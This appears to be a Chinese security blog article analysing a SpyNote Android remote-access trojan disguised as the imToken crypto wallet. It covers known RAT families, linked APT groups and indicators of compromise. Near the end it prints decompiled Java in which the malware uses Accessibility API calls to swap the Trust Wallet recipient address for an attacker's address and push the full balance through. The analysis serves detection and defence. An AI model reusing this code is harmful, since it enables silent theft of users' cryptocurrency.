freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

安卓远控威胁探索:SpyNote初步接触到伪装加密钱包样本分析
2024-06-17 19:23:42

前言

本文将对一款由CypherRat(又名“SpyNote”)远控工具生成的伪装成imToken加密钱包的样本进行浅析。随着开源软件的广泛应用,相关的远控工具也在某些开源网站上被公开。目前安卓远控软件数量众多,且不断被利用,变种数量也随时间增加。截止2024年,相关安全研究公司公开的报告统计了各类远控恶意软件激增,特别是在金融行业遭受攻击比以往更多。

一、热门远控

首先我们需要对变种简单了解,变种恶意软件的生成和传播通常是攻击者为了绕过检测机制、增强功能、针对不同目标或环境、以及利用新发现的漏洞等情况而产生的,就像Cobalt-Strike你做过爆改,改通信流量或者某些功能等。很多情况不单单只是了解相关的本体释放的恶意APK,更多的是在本体释放后的APK变动或者功能是否覆盖更多存在威胁的功能?

  • AndroRAT

    • 介绍:AndroRAT 是早期的安卓远控木马,最初作为开源项目发布。它可以远程控制设备,获取联系人、通话记录、短信等敏感信息。
  • SpyNote

    • 介绍:SpyNote 是一个功能强大的恶意软件,能够远程访问受感染设备的文件系统、录音、拍照、发送短信等。
  • Dendroid

    • 介绍:Dendroid 是一个商业化的安卓远控木马,通过钓鱼攻击或者恶意应用商店传播。它能够记录通话、窃取短信、拍照和录音。
  • AhMyth

    • 介绍:AhMyth 是一个开源的安卓远控木马,具有图形用户界面,易于使用。它可以访问设备的短信、联系人、通话记录等。
  • Cerberus

    • 介绍:Cerberus 以其强大的反检测能力而闻名,可以远程访问设备、录制音频、拍照、获取GPS位置等。
  • Exodus

    • 介绍:Exodus 是一个复杂的安卓恶意软件,分为两个阶段,第一阶段收集设备信息,第二阶段具备远程控制功能。
  • XploitSPY

    • 介绍:XploitSPY 是由一些开发者在GitHub上发布的工具,具有完整的远程控制功能,可以访问文件、录音、拍照、短信等。
  • OmniRAT

    • 介绍:OmniRAT 不仅针对安卓设备,还可以控制Windows、Mac和Linux系统,能够全面控制受感染设备,执行各种恶意操作。
  • LokiBot

    • 介绍:LokiBot 最初是一个窃取信息的恶意软件,后来发展为具有远程控制功能的RAT。它可以窃取银行信息、登录凭据等。
  • Agent Smith

    • 介绍:Agent Smith 可以伪装成合法应用,利用漏洞在设备上执行远程控制命令,窃取敏感数据。

二、SpyNote 接触

SpyNote 最早在2016年年中在恶意软件论坛上被曝光。它与 OmniRAT 和 DroidJack 类似,具备多种远程控制和监控功能。SpyNote 可以进行自我更新、下载和安装新应用程序、查看短信、获取设备的GPS位置、录音和监听设备的麦克风、访问摄像头、监听和拨打电话、获取联系人列表以及访问设备的技术详细信息(如设备IMEI号、WiFi MAC地址和运营商信息)。

SpyNote 的版本进一步增强了其威胁性,允许攻击者构建自定义远控版本,并配置其命令和控制(C2)服务器进行通信。这种灵活性使得 SpyNote 对网络犯罪分子非常具有吸引力,尽管到目前为止,它还没有广泛出现在主动攻击中。然而,由于 SpyNote 的构建工具免费的,所以在免费的条件下,不断的有变种出现。

SpyNote这款在金融、水利、电力行业攻击比较常见,这里我个人并没有去查阅更多更早被利用的威胁资料,因为时间线上是比较难找,根据公开报告早期有关SpyNote攻击样本被捕获:

1、未知团体 2017年1月 - 假冒的 Netflix 应用程序

1718602316_666fca4c5e1654332ebba.png!small?1718602319541

2、APT组织 - OilRig 组织 - 2018-08-06: Oilrig OopsIE malware and SpyNote mobile malware

1718561267_666f29f315eff793d8717.png!small?1718561267262

1718561256_666f29e8387840ffe15c1.png!small?1718561256727

在SpyNote android malware章节中,已经披露相关远控软件释放的恶意安卓程序,关于是什么样的一个攻击手段暂时没有。

SpyNote android malware
213.227.140.35, the IP address of defender-update\.com, has also served as the command and control server for SpyNote, an off-the-shelf mobile rat.

client.apk
MD5 2820c84cf9f34fe999da0bcedea6915d
SHA-1 0f3ae5c85151686b836fd95e2d680201679101e9
SHA-256 9727b56953bb6622cc1d3a039e2ebf6ef260dd76c8dcc11f4a1320fbf294621d

102.apk
MD5 27aaf0e49ebc240933ea5d1a04747977
SHA-1 c7e7ad6d763a41b8d3d7d9301acbe53674041d75
SHA-256 
d7bebfd87066e34d2f68ddf39d5637afa978df72bceb8dc690ed1553cdfffa43

一、已捕获在用 SpyNote 的组织(团体)

1718562823_666f3007c2ee99e2b154d.png!small?1718562823763

1718562834_666f3012d2e77d03d06f9.png!small?1718562834963

  1. OilRig(APT34, Helix Kitten, Twisted Kitten)

    • 背景:OilRig 是一个与伊朗相关的APT组织,主要从事网络间谍活动。
    • 活动:使用 SpyNote 对中东地区的政府、金融机构和能源部门进行攻击,窃取敏感信息。
  2. Cobalt Gypsy(IRN2, ATK40, G0049)

    • 背景:Cobalt Gypsy 同样与伊朗政府有关,专注于能源和电力行业的网络攻击。
    • 活动:利用 SpyNote 进行信息窃取和间谍活动,目标包括能源基础设施和相关行业。
  3. Crambus

    • 背景:Crambus 是一个较小的伊朗相关黑客组织。
    • 活动:主要通过社会工程和钓鱼攻击传播 SpyNote,目标包括政府和企业的敏感数据。
  4. Evasive Serpens

    • 背景:Evasive Serpens 是一个使用复杂手段进行网络间谍活动的组织。
    • 活动:通过 SpyNote 进行广泛的监控和数据窃取,目标涵盖政府、企业和个人用户。
  5. Hazel Sandstorm(EUROPIUM, TA452)

    • 背景:Hazel Sandstorm 是一个与伊朗有关的黑客组织,主要活动在中东和欧洲地区。
    • 活动:使用 SpyNote 窃取敏感信息和进行间谍活动,目标包括政治和军事机构。

二、SpyNote 功能

在这篇文章当中介绍过SpyNote V5.0图形化工具远程管理Android手机教程(图文教程+演示视频)感兴趣的可以自己研究和复现整个过程,这里就不一一演示了。

1718605847_666fd817e905866518e00.png!small?1718605848385

【SpyNote界面】

1718605877_666fd835b70151acf24aa.png!small?1718605878096

【VIEW功能:连接日志、黑名单、监视器、服务状态】

1718605984_666fd8a0f151cd26d97a3.png!small?1718605985393

【TOOLS功能:payload、文件夹、命令、防火墙、测试连接、受害者设置】

1718606410_666fda4a132760e86464b.png!small?1718606411270

1718606557_666fdaddb2795b6dc41c0.png!small?1718606558551

【https://vimeo.com/284171388 - 这里有相关的视频介绍到相关功能】

目前截止在国外已经有相关SpyNote工具被爆改后变成了商业化,两个在价格也是有区别,不同的价格,恶意样本的功能权限就不一样!

1718602771_666fcc13d9f63dfef77c5.png!small?1718602772885

在此页面当中,该网站还介绍了该恶意样本可以获取:通话记录、屏幕监控、联系方式、GPS定位、终端、短信、文件管理、相机管理,下面至少我们见证了商业化的SpyNote远控能力也是不差的!

1718603539_666fcf1387ab5635086e6.png!small?1718603540052


1718603550_666fcf1eb8852cc16d425.png!small?1718603551219

1718603570_666fcf3212046b5a8b5ca.png!small?1718603570580

三、SpyNote 加密钱包样本分析

在发现伪装加密钱包后,通过正常安装手段,对样本进行安装并且运行。

1718608462_666fe24eb99e3e86540e8.png!small?1718608463159

有关于加密钱包APP的应用权限列表,如果按照一个正常APP的话,安装过程会有相关APP会提示说明需要赋予什么样的功能权限,这个较常见一些。1718608490_666fe26af225e4e2ce8d1.png!small?1718608491800

安装成功后,打开伪装成imtoken钱包的恶意APP后,界面使用了一个无障碍服务要求转到下载服务,并需要你打开一些特定权限。

1718608769_666fe381625efb063013d.png!small?1718608769866

关于此恶意样本滥用Accessibility API 无障碍服务,应用程序在启用无障碍服务后,通过使用ActivityCompat中的requestPermissionsAPI 来请求权限的过程。具体来说,该代码展示了FragmentActivity如何引用Fragment请求权限,并通过ActivityCompat来实现权限请求。

这是请求权限的主要方法。在下面所有搜索出的结果中找到调用此方法的实例:

  • ActivityCompat$PermissionCompatDelegate
  • ActivityCompat$OnRequestPermissionsResultCallback
  • ActivityCompat$RequestPermissionsRequestCodeValidator

1718611732_666fef14a26f716017a97.png!small?1718611734119

该类继承自FragmentHostCallback,并在FragmentActivity中实现了一系列回调方法,允许FragmentActivity交互。以下是与权限请求相关的方法:

1718612011_666ff02b60f4171d00112.png!small?1718612011989

1718613792_666ff7202f9e579322507.png!small?1718613792675

1718613822_666ff73e2fb895b5b8dee.png!small?1718613822753

在整个过程中权限方面是已经打开,随后返回是跳转imToke官方,这部分可能是一个正常引用。这部分还是存在一些疑问,如果使用国外网络打开这个程序不知道会不会有其它结果,这个没有进行测试,回到源代码中

1718614211_666ff8c3b5f61d1c54999.png!small?1718614212188

如果按照整个流程运行,是没有问题话,在源码中发现了覆盖层,以下代码可识别合法加密钱包的使用并在其上显示覆盖层。

1718616452_667001840f36423500a29.png!small?1718616452977

Android Spynote 覆盖代码,注入的覆盖由一个 WebView 组成,其 HTML 以 Base64 进行硬编码。

1718617029_667003c5601a1fb791fe0.png!small?1718617030457

通过解码之后是这样的

1718616232_667000a8664a9db8817f4.png!small?1718616233500

页面还带有网络地址!通常如果是覆盖隐藏方式,很有可能会利用覆盖层,盗走受害者的资产。可以看到微页面中的两个地址的,一个是发送地址和一个目标地址。

1718615706_666ffe9a0d1727137d478.png!small?1718615706907

盗窃过程

恶意代码利用辅助功能API自动填充表单,并将指定数量的加密货币转移到攻击者的钱包地址上。具体而言,代码执行以下任务:

1. 读取并记录目标钱包地址(字段 input_value)。
2. 读取并记录金额(字段 input_general_amount)。
3. 修改目标地址,替换为攻击者的加密货币钱包地址(initializeService.usdtadress)。该地址是恶意软件与之通信的远程服务器发送的。
4. 点击“最大”按钮(action_max)。该选项请求发送全部金额,而不是部分金额。
5. 点击“下一步”/“继续”按钮。

这些步骤允许恶意代码在用户不知情的情况下执行加密货币转账,将资金直接转移到攻击者控制的账户中。

1718617354_6670050a3bd9f2c04530a.png!small?1718617355422

上图利用了Android的辅助功能API来自动化填写表单并进行加密货币转账,以下是具体的步骤:

一流程、读取目标钱包地址:

String str = "com.wallet.crypto.trustapp:id/input_value";
List list = this.val$context.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(str);
if (list.size() == 1) {
   Trust.access$102(list.get(0).getText().toString());
}

这段代码首先尝试从当前活动窗口中获取指定视图ID(com.wallet.crypto.trustapp/input_value)对应的辅助功能节点信息。如果成功找到且列表大小为1,则将该节点的文本内容传递给Trust类的access$102方法。这可能是目标钱包地址的字段。

二流程、读取金额:

list = this.val$context.getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.wallet.crypto.trustapp:id/input_general_amount");
if (list.size() == 1) {
   Trust.access$202(list.get(0).getText().toString());
}

类似地,代码尝试获取另一个视图ID(com.wallet.crypto.trustapp/input_general_amount)对应的辅助功能节点信息,并将其文本内容传递给Trust类的access$202方法。这可能是转账金额的字段。

三流程、修改目标地址为攻击者地址:

list = this.val$context.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(str);
if (list.size() == 1) {
   Bundle uBundle = new Bundle();
   uBundle.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", initializeService.usdtadress);
   list.get(0).performAction(0x200000, uBundle);
}

当前代码再次使用目标钱包地址的视图ID找到节点信息,然后将其文本内容替换为存储在initializeService.usdtadress中的恶意地址。这是通过向节点执ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE操作来实现的。

四流程 - 点击“最大”按钮:

list = this.val$context.getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.wallet.crypto.trustapp:id/action_max");
int i = 16;
if (list.size() == 1) {
   list.get(0).performAction(i);
}

代码尝试找到“最大”按钮(com.wallet.crypto.trustapp/action_max)的节点信息,并模拟点击该按钮以选择发送全部可用金额(最大金额)。

五流程、点击“下一步”/“继续”按钮:

list = this.val$context.getRootInActiveWindow().findAccessibilityNodeInfosByViewId("com.wallet.crypto.trustapp:id/action_continue");
if (list.size() == 1) {
   list.get(0).performAction(i);
}

最后,代码尝试找到“下一步”或“继续”按钮(com.wallet.crypto.trustapp/action_continue)的节点信息,并模拟点击该按钮,以确认或继续转账操作。

上面的那些操作让恶意样本在足够有权限的情况下,能够在用户无感的情况下,自动完成加密货币转账流程,将资金转移到攻击者控制的地址上。

目前这个恶意样本的核心就是盗取受害者的资产,其它的话就是远控上的一些操作。

1718622990_66701b0eca1e4f4a784af.png!small?1718622992604

1718623209_66701be9c01a9b65758bb.png!small?1718623211176

样本SHA-256:

caac4681389b0af7998ba8fd2062d18050a0e5e8cb4c8d0006a1b3a921ee52c8

1718607619_666fdf03a61691c61895a.png!small?1718607621017


# 黑客 # 网络安全 # 系统安全 # 数据安全 # 灰产圈
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录